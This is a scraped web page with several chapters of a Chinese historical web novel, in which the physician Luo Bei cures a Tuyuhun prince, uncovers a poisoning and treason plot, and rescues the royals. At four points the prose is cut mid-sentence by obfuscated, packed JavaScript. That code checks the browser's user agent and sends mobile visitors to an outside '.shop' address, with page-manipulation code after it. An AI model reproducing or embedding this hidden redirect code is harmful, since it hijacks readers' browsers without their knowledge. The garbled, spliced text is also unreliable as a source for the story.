l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281639|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,从左到右地仔细打量一番:“一个当郎中的,长这么副俊朗样貌做什么……喂,你今年应当比我还小吧?你到吐谷浑部族来做什么?你的医术这样高明,也应当有位厉害师父吧……” 洛北这几日未得一夜好眠,听他絮絮叨叨个没完,只得开口回答了他:“家师四年前就去世了。当时我困于一些俗事,甚至没能到他老人家灵前致哀。” 他说到此处,忽而轻轻一笑,“陆郎中,你不必担心,我要做的事情还有很多,是不会留在吐谷浑部族的。即使他们出再高的价钱,也不会。” “你!”陆眠与不由得跳起来去打量他,见他神色困倦,蝶翼一般的睫毛在眼下投上一层细密的阴影,可见连眼睛都没有睁开过,“你,你,你是人是鬼,你怎么知道我在想什么?” “要猜你的想法很容易。”洛北的声音渐渐低了下去。 “……只有妖怪才会觉得人的心思好猜……”陆眠与见他似乎已经睡着,没胆子把他摇醒继续问话,只好盯着炉火发呆,碎碎念些老爷子当时太娇惯了,现在后悔已经来不及了之类的话。可没过一会儿,他自己也忍不住睡着了。 他是被洛北拍醒的。他揉了揉睡眼惺忪的眼睛,看着洛北把锅里的药倒到药盏里:“洛公子,你,你,你什么时候醒的?” “我睡觉很浅。”洛北示意他跟上自己,“对了,你说你父亲当时太娇惯你,叫你好多知识都学的不牢固,现在不知道怎么用,是不是?” 陆眠与恨不得找个地缝钻进去:“这你怎么也听到了?!” “这几日我在这里,你可以翻翻医书,遇到问题可来寻我。我若能解答,必当知无不言言无不尽。”洛北道,“若是你有心,我治疗小王子时也可以在一旁观摩。” 但凡名家,有些不传之秘是常见。逮着个半生不熟的陌生人,就愿意倾囊相授的。可真是稀罕事。 陆眠与一时不知说什么是好,只得跪下来,给洛北磕了个头:“洛公子,你要是不嫌弃,可否让我拜你为师。” 洛北一脸无奈地把他拉了起来:“这是在走廊上,陆郎中,你.......”他深深叹了口气,“就算我愿意,恐怕令尊要是知道了也会不高兴的。” “我爹他这会儿正在老家逍遥快活呢,他不会知道的,就算知道了,他也什么都听我的,没事。”陆眠与不在意地挥了挥手,“唉,不过你要是介意这个,我就叫你一声洛先生,不叫你师父了。这拜师礼我还要筹备筹备,我那金银财宝不少,只是不知道你看得上哪件,要不,你改天到我那去挑,看得上的就拿上一些走。算作我的拜师礼得了……” 陆眠与情绪一起就喜欢絮絮叨叨,洛北没理他,只进屋去拜见慕容宣彻。 慕容宣彻正与姚崇和李贞交谈,见他来了,也站起身迎他:“神医的这两位朋友可真是不凡,不仅博闻强记,对部族诸事也多有见解。等我这侄儿的病好了,我一定要多留你们住几日,好时时请教。” “宣彻王子客气了。”姚崇笑道,“宣彻王子对小王子一片拳拳之心,也令我等佩服。” 慕容宣彻笑了笑:“姚先生是想问,朝中一直未择定继任吐谷浑首领的人选。我和曦光同为候选,却关系很好。这是很少见的,是不是?” 18. 第 18 章 姚崇点了点头:“是。叔侄之间能和睦至此,确实不多见。” “其实我和曦光相差不过六岁。我那位大哥身居首领之位,公务繁忙,经常往返在凉州、灵州和长安之间。我们说是叔侄,其实更像兄弟一些。” 慕容曦光、慕容宣彻和陆眠与、慕容承靖等人年纪都相仿,想来小时候也常在一起玩闹。怪不得慕容宣彻对待这几人都是和和气气,从来不曾假以辞色。 慕容宣彻又笑道:“更何况,朝廷待我吐谷浑恩重如山,就算不承袭首领之位,也会有其他次一等的爵位给我们。虽说比不上首领尊贵,也总是吃穿不愁的,谁想把这么大一个部族压在自己肩上?那不是要累死吗?” 他们正说着,内室的下人前来禀报,说小王子醒了。 洛北端着药进了内室,慕容曦光正躺在床上,多日病痛折磨,已将他折磨得精疲力尽,他已认出洛北,紧紧握着他的衣袖,小声问道:“大哥哥……我会死吗?” “只要我在这里,你就会没事的。”洛北柔声安慰他,又将碗里的药一勺一勺地喂给他。 紫雪散下肚,小王子的烧渐渐退了,只是手中还抓着洛北的衣袖,不肯让他走。 “曦光自小不喜欢别人接触,却唯独信任神医,可见我这侄子还算个聪明孩子。”慕容宣彻见状,忙请求洛北多看护慕容曦光几日:“这几日我会安排姚公和李老板去部族里走一走。还请神医安心。” “好。”洛北应了下来,之后数日,他都守在慕容曦光旁边。 慕容曦光病痛渐消,精力也慢慢恢复,很快就不愿意躺在床上:“宣彻叔叔可是许诺过我,等我好了,带我去看他们驯野马的!我都快好了,他怎么自己就带着人出去了,也不叫我。” “王子殿下的病情还不适宜出门。”洛北温言给他解释,“再说,宣彻王子是带着姚先生他们去拜谒大可汗陵,还要去各地部族看看收皮货的事情。没有殿下想象的那么好玩。” 慕容曦光一听到这些经济事务也是头疼,当即打消念头,乖乖地躺回床上,看着床顶发了会儿呆,或许是床顶那副描绘长安的图画触动了他的心弦,他又抱怨道:“宣彻叔叔还说,要带我去长安呢。我还从来没见过长安的样子,大哥哥,你说长安会是什么样?” “我去过。在我比你现在更小的时候,我在长安住过一段时间。”洛北轻声道,“长安啊,是世间最繁华辉煌的城市.......” 慕容曦光听得入了迷,便不再提要出去玩的事情,只缠着洛北讲些长安风物。 洛北不是个善于讲故事的人,只能把自己记忆里的长安花,灞桥柳,曲江池边丽人行都平铺直叙一番。 待到他再也找不出新的事物,就又说起其他故事: 提三尺剑定天下的太宗文皇帝、用兵如神的李靖李卫公…… 时间久了,陆眠与不禁感慨:“洛先生,你好像对小王子特别有耐心?” “哦?何以见得?” “你看,小王子前天昨天今天连着问了你三遍文成公主入藏的典故,你都不厌其烦地解答了。”陆眠与扭扭捏捏,委委屈屈地道,“而我,昨天才第二遍问你甘草的用法,你就生气了,还罚我抄了三遍书,我这手都要抄断了!” 洛北瞪了他一眼:“学医行医十几年,甘草的用法都记不清楚,我看罚你三遍是罚少了。” 陆眠与一缩脑袋,把自己要问的下一个问题咽在喉咙里。 他这些时日跟着洛北,算是又把当初学医时没吃的苦都吃了一遍。洛北又不比他父亲陆太医好说话,让他是叫苦不迭。他正要说什么别的岔开这话题,免得再讨一顿骂,余光却瞥见慕容宣彻带着人走了进来。 慕容宣彻摆摆手免了行礼,先到床边问了两句慕容曦光的情况,见他情况逐渐稳定,不由得又是一阵千恩万谢:“若是没有神医,我这侄儿怕就没命了。” “我不过尽份内之事,宣彻王子客气了。对了,怎么不见我那两位旅伴?”洛北没找到姚崇和李贞的身影,开口发问。 “这……唉,这便是我提前回来的缘故。洛公子,姚先生不小心把腿摔了,恐怕还要你去看看……” 慕容宣彻解释起缘由来,原来他们一行人拜谒过大可汗陵,便去各部族察查情况,顺便谈谈皮毛的生意。可巧就在回来的路上,遇到几个牧马人正在驯野马。 吐谷浑部族善于养马,他们养出的名种青海骢至今还是朝廷贡品。 那一批野马中,只有一匹深青色的骏马最为引人注目,也最为桀骜难驯。牧马人几度试图骑跨,都被马儿摔了下来。李贞见状,仗着自己行伍出身,也要一试。 牧马人本来不许外客干这等危险的事情,只看李贞实在坚定,又有些武功,才叫他上马试试。一连三次,李贞都被暴怒的马儿掀下马去。好在他身形灵活,在软绵绵的草地上打了几个滚,算是没有受伤。 姚崇见了,也不禁起了一点争胜之心。只是他的身手不比李贞灵巧,被掀下来第一回,便摔了腿,这会儿还肿得不能行动。 “我们草原上没有几个好郎中,那些人说是能治,我也不敢让他们动手。小神医,怕是还要你跑一趟。”慕容宣彻道,“我留了李老板和承靖一道在那里看护。” 洛北知道,姚崇年轻的时候常以打猎自娱,见到好马起了争胜之心也不奇怪。可这宰相大人在微服私访的时候瘸了腿,也不知道让他怎么和郭元振交代。 不过此刻想这些也没用,洛北谢过慕容宣彻,问他借了地图和罗盘,便向姚崇所在的地方疾驰而去。 他到的时候,姚崇已经被人抬回了帐篷,李贞和慕容承靖都陪在旁边。 见到洛北来了,李贞不由得露出一个轻松的笑容:“洛公子啊,可算把你盼来了,姚先生肿成这样,还疼得厉害,我是一点办法也没有的。这些牧马人倒是有法子,就是有点粗鲁——我们也不敢让他们动。” 洛北见姚崇蜷在床上,神情痛苦,只得道声得罪,便拿剪刀剪开了裤腿。姚崇的左脚踝肿得像个馒头,青紫色的淤血凝滞,看上去严重极了。 洛北一手在他脚踝处浅浅用力按了一圈,按到淤血处时,姚崇不禁抽了一声冷气:“洛北!” “是,是,是,先生。”洛北低声应道。他试探一番,见姚崇不是折断了骨头,心下稍安,只用两手握住他脚掌,缓缓用力,初步做了个拉伸,见姚崇神色没有不安,又伸手在脚踝处摸索,寻出一处最好的复位位置。 “先生,想要好的快些,还要麻烦你忍一忍。”洛北语气温和柔软,手上动作却迅疾,伴随着一声清脆的“咔擦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281640|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”声,姚崇的脚踝被安置回了正确的位置。 姚崇疼得倒吸一口冷气,刚想开口骂人。洛北已在他伤处敷上了药膏,又拿纱布包扎起来。那药膏味道极烈,却有奇效,姚崇只觉得一阵暖流从脚踝处涌向全身,疼痛渐消。 姚崇重新躺好,也不禁感慨道:“慎交说的对,太医院那帮不思进取的,见了你怕要气死。” 洛北摇了摇头:“姚先生太抬举我了,我这些年在草原常遇到这种伤,只是熟能生巧罢了。您三日内静养,若是要下床,就得有人搀扶。” 李贞拍了胸脯:“我是给姚公当护卫的,当然包在我身上。就是咱们的路程怕是要耽误几日。” 姚崇笑道:“这可没办法。你总要给我些时间认清现实,免得老拿自己当二十来岁的小伙子待。” 那些牧马人待人热情,又加上洛北等人出手阔绰,是他们首领的朋友。三日的时光就像草原上的风一样飞过。 第四日黎明时分,洛北早早起床去准备行装,却在帐篷外面看到了那匹深青色的骏马。 只一眼。洛北就知道何以姚崇和李贞都起了争胜之心。 这匹马身披深海宝石般的青色马毛,颜色浓郁而有光泽,鬃毛飞舞,在黎明的微光下宛如一块流动的青玉,显得高贵而神秘。它飞奔起来的时候,显出流畅分明的肌肉线条,速度之快,宛如一道青色的闪电。 “洛公子。”慕容承靖也起来收拾行装,看他看呆了的样子,不由得哈哈大笑着打趣他:“你可要小心些,别轻易尝试。咱们草原上,怕是找不出第二个像你这样医术高妙的大夫了。” 洛北笑了,没有答话。他当然知道,为了大局,为了可能到来的危机,自己绝没有任性的理由,可这马儿就在这里,他实在不能说服自己放弃。他走到牧马人跟前,以汉语询问他们,可否让自己试一试。 “试,当然是没问题的。只是小郎中可要想好,这马儿难管的很呢。”牧马人实在不敢再摔一个贵客,开口劝道。 洛北从衣袖里掏出一小块金子,递给他:“我知道,只是你可要答应我,万一它要是被我驯服了,我就拿这锭金子把它买下来。” “用不了用不了,”那牧马人本要推却,见他神色坚定,又把话咽了回去。他张口咬了一口金子,知道这金子确为真金:“好,一言为定。” 洛北得他应允,就轻轻一跃,跳上了野马的背,他双手紧紧握住缰绳,准备迎接即将到来的挑战。 马儿感受到了背上的重量,开始不安地踏步起来。洛北屏气凝神,微微向下俯身。下一刻,马儿像被激怒的野兽一样,猛地向前冲去,试图将洛北甩下背。 洛北紧紧地夹住马腹,身体紧贴马背,无论如何都稳如泰山。 野马见这一套没有效果,突然开始狂奔,它的速度越来越快,草原上的景物在洛北眼前飞速后退。马儿一会儿急转,一会儿跃起,又突然停下。洛北只管牢牢抓住缰绳,让身体随着马儿的动作起伏。 一次次挣扎,一次次较量,随着时间的推移,马儿的动作开始变得不那么激烈,它的喘息声也越来越重。洛北试着摸了摸它的头,放轻声音安抚它的情绪。 马儿似乎要低下头来。洛北略微放松了些缰绳,马儿却猛地改变方向,向着远处的河流狂奔而去。 19. 第 19 章 这条河流是吐谷浑城外的河水支流,水流湍急,河床复杂。如果不慎掉入其中,即使是最熟练的骑手也难以自救。 洛北知道这马儿的意图,只觉得浑身血脉喷张,他抓住缰绳,身体紧贴马背,任由马儿把他带入了湍急的河流。 野马在河中奔跑跳跃,河水汹涌澎湃,不断地冲击着他们,试图将他们吞没。洛北的心跳如鼓,但他只管观察眼前情况。 就在他们都要被河水吞没的一瞬间,洛北猛地一拉缰绳,马儿发出一声嘶鸣,它的前蹄猛地踏在了一块露出水面的岩石上。洛北趁机用力一夹马腹,催着马儿连着几步,跳上了岸。 野马奔回草原上,回到牧马人所在的地方。洛北跳下马背,顺了顺它的鬃毛。它终于低下了高昂的头颅,喘着粗气,把脑袋往洛北手心里靠了靠,似乎在承认洛北的骑术和决心。 洛北毫不掩饰地笑起来,他难得露出这样意气风发的神色,倒把起来的李贞吓了一跳:“洛郎中这是去洗了个澡?” “不。”洛北招了招手,示意马儿慢步走来,“去驯了匹好马。” 李贞还没反应过来,只低头侧过身子让他进帐篷换衣服,片刻之后,他像是反应过来什么,冲进帐篷道: “我说郭元振到底会不会用人?以你的身手和能力,他就给你一个七品都没有的参军职位?!你不如来我灵州,我保举你一个参将。” 洛北哭笑不得:“慎交兄,这是从哪说起啊?” “我是说真的。”李贞恨不得当场指天发誓,“你要是肯来,我现在就写信。” 洛北叹了口气:“我只是想说,现在不是说这些话的时候。” 其实洛北知道,郭元振想放他一个参将职位让他在前线打仗,只是以洛北的年纪,擢升高位难免会引起朝中的注意。要是被人翻出他身份不明的事情,就得不偿失了。 李贞本是意气上头,被他一说,也反应过来。他生性洒脱,也不以为意:“那一言为定,回去再说!” 他们回到小城的时候,城市里四下寂静,这是个不同寻常的信号。李贞和洛北对视一眼,已将手放在了藏在腰后的刀柄上。 队伍来到石堡之前,几个侍卫横刀将他们拦住:“什么人?” 洛北道:“我是给小王子看病的郎中洛北。” 几个士兵对视一眼,把刀一放,让他们走了进去。洛北把他们的神色瞧在眼中,带着众人进了厅堂之中。 堂中一片悲戚氛围,几个婢女跪在一边哀哀哭泣。慕容宣彻见到他们走进来,擦了擦脸上泪痕,向左右喝问道:“把这些人都给我绑起来!” 李贞当机立断,侧过身来,横刀挡在一群侍卫前面,冷笑了一声:“我倒要看看谁敢动!” 厅堂中剑拔弩张,眼看就要起冲突。慕容承靖忙挤出来挡在众人之前:“堂兄,这是怎么回事?怎么一回来就动起了刀剑?” 他甚少称慕容宣彻为堂兄。慕容宣彻被这个词触动了柔肠,他轻轻叹了口气:“承靖,你上来看看吧……曦光,咱们的侄子他……他死了……” 在场众人如遭雷击,慕容承靖满脸不可置信,他连奔带跑地来到慕容曦光榻边,伸手试了试鼻息,吓得跌坐在榻边:“……怎么会这样?” “这问题我也想问。”姚崇朗声道。“我们走了这些日子,回来就闻此噩耗,难道宣彻王子不给我们一点解释的机会吗?” 慕容宣彻怒极反笑:“这有什么好解释的,来人——给我把这几个不学无术的骗子拉出去砍了!” “堂兄!”慕容承靖忙拉住他的衣袖,声音里带着哽咽:“当时曦光病重,咱们遍求名医,也没有结果。好容易请来了洛公子,今天却搞成这个样子。说不准,说不准是命数如此,您又何必再造杀业?就算洛公子死了,小王子......小王子也回不来了呀。” 慕容宣彻把自己的衣袖从他手中扯出来,又喝了一遍:“都愣着做什么?再不动手的,连你们一起杀了——” 李贞姚崇对视一眼,开口正要说话。洛北却突然开口打断了他们:“宣彻王子,若小王子真是因我救治不当而死,我可以为他偿命。只是你总得让我当个明白鬼,让我再看一眼小王子的尸首再死不迟。” 慕容承靖恨铁不成钢地小声劝他:“洛公子,你就别再火上浇油了。” 慕容宣彻冷笑一声:“好,我成全你,叫你的朋友们把兵器都放下来!我就让你去见曦光。” 未及姚崇和李贞开口,洛北已将腰间佩刀解下来,放在地上,“哐当”一声,震得室内顿时寂静下来,一双双眼睛都望着他—— 洛北长身鹤立,神色平静一如往常。他在众目睽睽之下走到榻边,伸手探向慕容曦光的鼻息,又伸手去试慕容曦光的脉搏。 片刻之后,他抬起头来,说了和第一次来时一模一样的话,叫人去取他的金针来。 慕容宣彻让侍婢去拿,更加疑惑地盯着他的一举一动。 洛北伸手在慕容曦光的内关穴、膻中穴、天池穴等几处施下金针。就在最后一针落下时,慕容曦光猛然坐起,喷出了一口黑色的血。 洛北替他擦了擦口中的鲜血,又一一取下金针,才柔声问他:“小王子觉得怎么样?” 慕容曦光没有反应过来,只顾着环顾四周:“大哥哥......你回来了?宣彻叔叔.......承靖叔叔......你们怎么都这么奇怪,发生什么了?你们在哭什么?” 他是个少年,声音稚嫩可爱,一时之间厅堂中人人默然。慕容承靖、慕容宣彻都低下头来,不好意思开口回答,唯独洛北低头替他掖了掖被子:“没事,曦光,你安心睡吧。” 他放下两边帘幕,带头走出内室,往四周一望。此刻他长身鹤立,镇静如常,双眸之间似有流金流动,在场的众人大都觉得自惭形秽。那些侍卫也各自退到一边。 李贞“锵”地一声收剑回鞘,替洛北把那柄唐刀捡了起来,伸手递给他。 慕容宣彻跟在他身后,一脸羞愧:“……是我误判,还请洛神医不要见怪……我……我给你赔罪。”说罢,一撩长袍,跪倒在地。 洛北上前半步扶住他:“宣彻王子言重了,你忧心令侄,是人之常情。只是,我有个问题想问……小王子是怎么成了今日这样?” 慕容宣彻回忆了一番:“是今日早上开始,曦光突然旧疾复发,又开始发热喊疼,陆郎中取了碗药来喂下,才让他安眠一会儿,可不多久,他一试鼻息,发现曦光已经气绝了。” 洛北轻轻一笑,摇了摇头:“这不是气绝,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281641|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是闭气引起的昏厥。陆眠与竟没看出来?” 慕容宣彻无奈道:“他那医术,我们心里也有数。只是这些年同他一起长大,把他视作一个可亲玩伴罢了。他看到曦光断了气,也吓得晕了过去,如今正在自己房中休息。” 洛北深深叹了口气,他脸上一贯没有什么特别的情绪,只有双眸中透出一点疲惫:“把他叫来。我有几句话要问他。” 他语气带着几分严厉,让室内气氛为之一凛。 慕容承靖当惯了老好人,又出来打圆场:“这……洛公子,陆眠与一向就是这个样子,你也不要太苛责他了……他毕竟不是故意的。” 洛北摇了摇头,看起来似乎更加疲惫了:“我只是想问他为什么要私自改动我的药方。” 陆眠与被两个随从搀进来的时候,正听到这句话,当即跪倒在地大呼冤枉:“洛先生,我承认我被吓傻了,忘记了闭气也可能引起昏厥,不望不诊不问不切就下判断,我实在罪该万死。但我……我没有改动你的药方。” 慕容宣彻见洛北神情如冰,也出来说话:“眠与这个人的性子我了解,他或许贪玩了些,但对你洛公子一向奉若神明,绝对不敢妄动你的药方。” “是吗?”洛北拿出刚刚给慕容曦光擦血的手帕,“紫雪散中最重要的一味药是麝香。可刚刚小王子喷出的血中,一点麝香的味道都没有。你说你没有改动,这麝香去了哪里?” 陆眠与怔愣地望着洛北,嗫嚅了几下嘴唇,却什么都没有说出来。 李贞在一边早看得不耐烦了,走过去抓着陆眠与的衣裳把他拎了起来:“你这家伙,洛北对你有教导之恩,你却害得他差点被杀,你这到底是怎么回事?” 陆眠与好容易才从李贞手下挣开,哭得一把鼻涕一把眼泪: “我,我不是故意的,我是想着紫雪散性寒,吃多了容易导致人痴傻,所以才又用回了独活寄生汤。我没有想谋害小王子,更没有想陷害你......” 他说着,重重地在地上一磕,这一下用力极重,把地上都染上了血。 “洛公子……罢了,陆眠与犯下此错,确实不应该。你消消气,我这就让他出去领二十板子。”慕容宣彻见他一下一下磕得实在可怖,也出面向洛北说情。 “宣彻王子,你和陆眠与从小一起长大,也知道他是什么性子,若无人挑拨,他敢私自改动我的药方?”洛北问道,“而这个人改动药方,就是为了一箭双雕,除掉小王子和我。” “不是的,不是的。”陆眠与连忙分辩道,“医者仁心,他绝不会那样做的!” “不会?你不妨想想,他为什么处心积虑,非要用你的手杀掉我和小王子?”洛北步步紧逼,“因为他要吐谷浑全城戒严,然后在城内制造混乱——自己火中取栗,完成他们通敌叛国的大阴谋!” 慕容承靖苦笑了一声:“洛公子,你这话也未免太过份了,这只是一次普通的误诊而已啊。怎么能说陆郎中参与内乱呢?” “不,这一切太过巧合,以至于不可能是自然发生的,而且,如果我所料不错,马上就会有使节来到这里,告诉宣彻王子……有两家部族起了冲突,要他务必前去处理。” 他话音刚落,门口传来一声高高的通报,说是有使节求见宣彻王子。 20. 第 20 章 使者走进厅堂,不知道为什么这些人都望着他,还是跪倒在地,说出了自己本要来说的话: “宣彻王子,城外十五里,有两个部族争夺草场,几乎要起了械斗,还请您去看看。” “知道了,你退下去吧。”慕容宣彻搪塞了一句使者,脸上也露出惊讶神色,“洛公子怎么会知道?” 洛北没有立刻答慕容宣彻的话,只是看着陆眠与,一字一顿地问道:“到了这个地步……你还不肯说吗?” “他不会……他怎么会,我是他的儿子啊……他只有我这么一个儿子。”陆眠与忍不住大哭起来,“他为什么要把自己投到这般通敌叛国的事情里去?” 陆眠与的父亲……陆太医? 慕容承靖和慕容宣彻都是目瞪口呆。慕容承靖忙问陆眠与道:“陆太医?他不是在老家颐养天年吗?他怎么会在这里?” 陆眠与擦了擦眼泪:“前天晚上,我父亲突然来拜访我,问我医术上有没有什么问题。我就把洛先生的方子拿给他看了。他说紫雪散是寒药,不可多用,用多了会致人痴傻,还说,小王子服用日久,已有药性堆积,应该改用独活寄生汤解之,所以我才又用回了独活寄生汤……我不相信他会参与进这样的勾当里。” 慕容宣彻也有些为难:“是啊,陆太医对我祖父有救命之恩,他侍奉我慕容家多年,一直忠心耿耿,我也不相信他会做这样的事情。” 姚崇见他们左右争执不下,开口:“话虽如此,宣彻王子总应该把陆太医找来问个明白才是。” 姚崇素来老成持重,绝少轻易决断,他这样一说,慕容宣彻也下了决心,叫人把陆眠与带回自己房间,又命人在石堡中搜寻陆太医,非要把他找出来问个清楚不可。 通敌叛国的阴谋宛如一柄利剑压在众人头上,一时间众人都失了谈笑的兴致。慕容承靖主动请命,要去巡查各处守卫,慕容宣彻也摆了摆手,让他去了。 待到一众下仆都散去,慕容宣彻才轻声道:“我实在不明白,中原皇帝给了我们牧场和草原,给了我们丰厚的爵位。牧人们有了安定的生活,儿女们可以不必再为了战争分别,为什么他们又想挑起战争不可?” 即使是姚崇,这个时候也不好接话。只有慕容曦光自己跑下床来,到他身边握住了他的手:“宣彻叔叔,世人野心欲望不可避免,你不要责怪自己。” 慕容宣彻摸了摸他的头,什么话都没说。 洛北见状,知情识趣地起身去了药房。李贞和姚崇也同他一道起身,退出门外。 姚崇问洛北:“你在这个时候就抛出通敌叛国的阴谋来,不怕打草惊蛇?” 洛北摇了摇头:“他们既然敢对慕容曦光出手,便说明一切计划都已周全。只是慕容宣彻如今还在石堡,他们不好出手。” 李贞摸了摸下巴的胡须:“如今这吐谷浑部族已成了是非之地。姚公,您的安全最重要,不如我们先撤出此地,待到郭都督的接应部队来了,再论其他?” 洛北也深深颔首:“我也赞成慎交兄的说法。” 姚崇苦笑了一声:“要是几日前,倒是可以骑马冒险冲出去。如今我伤了脚踝,只有乘马车才能出去,目标这么大,如今又是敌在暗,我在明,一定会引起他们的注意。” 李贞和洛北知道他说的是实情,一时之间都沉默下来。洛北自顾自地去药房抓药煎药不提。 他脑海中千头万绪,又要盯着炉火,一时间有人进了药房也未能察觉,待到来人来了近前,阴影遮住烛火,他才下意识地拔刀出鞘,横在了来人脖颈上:“什么人?” 来人吓得扯开面巾,举起双手,颤颤巍巍地道:“师父……是我,是我。” 洛北定睛一看,才发现来人是阿米尔,他将刀收回鞘中:“阿米尔?你到这里来干什么?” 阿米尔蹭到他身边,左右望了望,才低头小声道:“师父,我闯祸了。咱们抓的那个俘虏吐查,我不小心放跑了。” 洛北微微皱眉:“这是什么时候的事情?” “几日之前,郭都督率兵来了我们部族上。我带他去见吐查,去了才发现他已经跑了。” 这一句话如福至心灵,将洛北所掌握的线索完全串联起来。他轻轻说了一句:“我说为什么他要狗急跳墙,原来是这样……” 阿米尔不明白他的意思:“师父,什么狗急跳墙,什么原来是这样……?您在说什么?” 洛北来不及同他解释来龙去脉,只把他上下打量一番。阿米尔这次来,是做了普通牧人打扮,腰间还别了杆秤,想是假借商贩的名义混进城中的:“我有个很艰难的任务要交给你,若是做得不好,或有生命危险,你可愿冒险一试?” 他神情凝重,语气中难得带着犹疑不定,一双眼睛却定在阿米尔身上,几乎要用目光洞穿人心。 阿米尔极少见他这样郑重,当下也将手抚上左胸:“师父,我蒙你授业之恩,还救我妻子和孩子的性命,自然赴汤蹈火,在所不辞。” 洛北摆了摆手:“不要你赴汤蹈火,是有两个人,要你送出城外。” 是夜星月暗沉,吐谷浑城中一片冷寂。李贞扶着姚崇站在石堡后门的风中四处张望:“这个洛北,派人传信说要在这个地方见面,来了却不见人影,他到底想做什么?” 姚崇似有所觉,遥指了指一方:“你瞧,这不是来了吗?” 那匹洛北刚驯得的深青色骏马拉着一辆马车向这边跑了过来,未及停稳,洛北便从车上跳了下来:“慎交兄,姚相公。” 李贞打量了一眼马车和马儿:“洛北,你这刚刚驯得的神骏用来拉车?你不心疼,我还心疼呢。” 姚崇看了他一眼,直看得他收敛神色,正经起来,才问洛北:“你想让我们今晚就走?” “不错。”洛北点了点驾车的车夫,“我派阿米尔护送两位出城,两位即刻起行,不要耽误了。” 姚崇问:“吐谷浑内乱在即,我是当朝宰相,只要亮出身份,这些人也不敢拿我怎么样。” 洛北轻轻一叹:“相公,这些人背后有太医指点,应当已经认出了您的身份。您留在这里,只会遇到危险。” 似乎在为他的话佐证,石堡之中骚乱忽起,几道浓烟四处飘出,其中一道便来自姚崇和李贞的房间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281642|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 李贞急道:“想是那幕后之人已经动手。姚相公,您的安全要紧,我们快走吧!” 姚崇见状,也不多说,就让洛北和李贞扶着他上了马车。洛北将他俩安顿好,又对阿米尔嘱咐几句,才跳下车来。 阿米尔惊道:“师父不和我们一起走?” 姚崇也掀开车帘:“你要去救慕容宣彻和慕容曦光?对方要挑起叛乱,首先抓的就是他们。你可要想清楚,凭你一个人,能带他们闯出这石堡吗?” 洛北轻轻一笑:“姚相公,吐谷浑部族世代忠心中原,为我蕃屏。我朝与吐蕃数次和议,都依靠吐谷浑王室的身份,在青海问题上寸步不退。如果今晚他们两个人都死了,吐谷浑故地就真成了吐蕃的土地了。” 吐谷浑所在的青海地区,扼守丝绸之路南道和雪域高原的入口,一向为兵家必争之地。大唐(周)虽然在大非川之败后,将吐谷浑让给了吐蕃。但因为吐谷浑慕容王族尚且在世,每每与吐蕃谈判,还可以对吐谷浑故地争上一争。 姚崇担任过兵部尚书,自然知道他说都是实情,当下什么话都不说了,只放下马车的车帘,示意阿米尔立刻出发。 洛北叹了口气,将腰间唐刀拔了出来,向石堡中走去。 石堡里火势渐大,侍婢仆下们纷纷像潮水一样向外涌出,洛北逆流而上,登到顶楼,正听到一阵金戈碰撞之声。 他冲进厅堂,慕容宣彻和慕容曦光正被一群黑衣人团团围住,这些黑衣人训练有素,身手矫健,每一次攻击都犹如疾风骤雨。慕容宣彻一手护着慕容曦光,一手御敌,左支右绌,已是十分危险。 洛北挥出一道璀璨刀光,撂倒两个黑衣人,这动静自然引得周围人注意起他。有两个人当即转头向他袭来。 洛北反手格挡开刺客刺来的剑锋,半挽个刀花,横手一划,划破几人胸膛。剩下的几个刺客见他身手绝佳,不敢怠慢,左右招呼,上前来一齐出手。 洛北身形如电,刀光如游龙般杀入战团之中,刀刃破空,刀气凌厉。几个黑衣人招架不及,都被他撂倒在地。 慕容宣彻也将最后一个黑衣人踢倒在地上,他搏杀已久,一停手,豆大的汗珠就从额头上掉了下来。他呼了口气,差点跪倒在地:“洛神医,你怎么来了?” “来救你们。”洛北伸手把他扶起来,又试了试他的脉搏,知道他此刻无恙,才放下心来,又去看慕容曦光的情况。 慕容曦光慌了神:“大哥哥。这里很危险。你不该来救我们。” 洛北只轻轻一笑:“殿下,我不是说过吗?只要我在这里,你就不会有事的。” 慕容宣彻见他镇定如常,心下也稍稍安定下来,他招呼洛北一声:“洛公子,你带着曦光从小门速速离开,我在此地留守。” “宣彻王子。”洛北心知他体力耗尽,决定要留下来以此身为缓兵之计,也不多劝,“论陵钦死后,吐蕃需要一个吐谷浑首领为他们所用。你不要和他们起冲突。” 慕容宣彻笑了笑,眼中已是一片坦然:“洛公子,放心,我知道该怎么做。我的侄子和整个吐谷浑,就托付给你了。” 21. 第 21 章 “走。” 